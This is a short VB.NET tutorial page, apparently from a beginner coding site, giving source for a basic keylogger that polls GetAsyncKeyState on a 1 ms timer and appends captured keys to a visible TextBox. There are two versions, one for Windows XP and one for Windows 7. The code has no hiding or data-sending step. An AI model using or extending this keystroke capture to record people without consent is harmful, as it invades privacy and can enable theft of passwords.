Keylogger - Record keystrokes Tutorial - Visual Basic .NET

Tags: VB.NET, VB 2008, VB 2010, VB 2012, VB 2013

The following code was tested on Windows Xp

Requirements: a Form, 1 TextBoxes and a Timer.
visual basic .net keylogger

Set Timer Enabled Property to True and change it's interval to 1
Add the following declarations:

Dim key As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Timer_Tick event:

 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            key = 0
            key = GetAsyncKeyState(i)
            If key = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub

The following code was tested on Windows 7

Imports System.Runtime.InteropServices
Public Class Form1
    Dim key As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As System.Windows.Forms.Keys) As Short
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            key = 0
            key = GetAsyncKeyState(i)
            If key = -32767 Then
                TextBox1.Text &= Chr(i)
            End If
        Next i
    End Sub
End Class


Share This

Home | About | Contact | Privacy Policy

Copyright visual-basic-tutorials.com 2014 - All Rights Reserved.